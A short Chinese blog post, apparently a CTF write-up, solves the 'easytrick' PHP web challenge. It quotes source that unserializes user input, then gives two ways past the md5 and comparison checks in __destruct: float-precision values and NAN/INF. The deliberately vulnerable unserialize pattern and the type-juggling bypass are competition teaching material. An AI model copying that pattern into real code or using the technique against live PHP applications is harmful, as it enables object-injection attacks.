CTF easytrick
这是第十三届全国大学生信息安全竞赛(线上初赛)的一道web题
题目的源码是:
<?php class trick{ public $trick1; public $trick2; public function __destruct(){ $this->trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("你太长了"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
这道题有我已知有两种解法,一种是精度,另一种是靠NAN或者INF来解
<?
class trick{
public $trick1 = 0.1;
public $trick2 = 0.100000000000001;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("./flag.txt");
}
}
}
new trick;
或
<?
class trick{
public $trick1 = NAN;
public $trick2 = INF;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("./flag.txt");
}
}
}
new trick;
一直在路上

浙公网安备 33010602011771号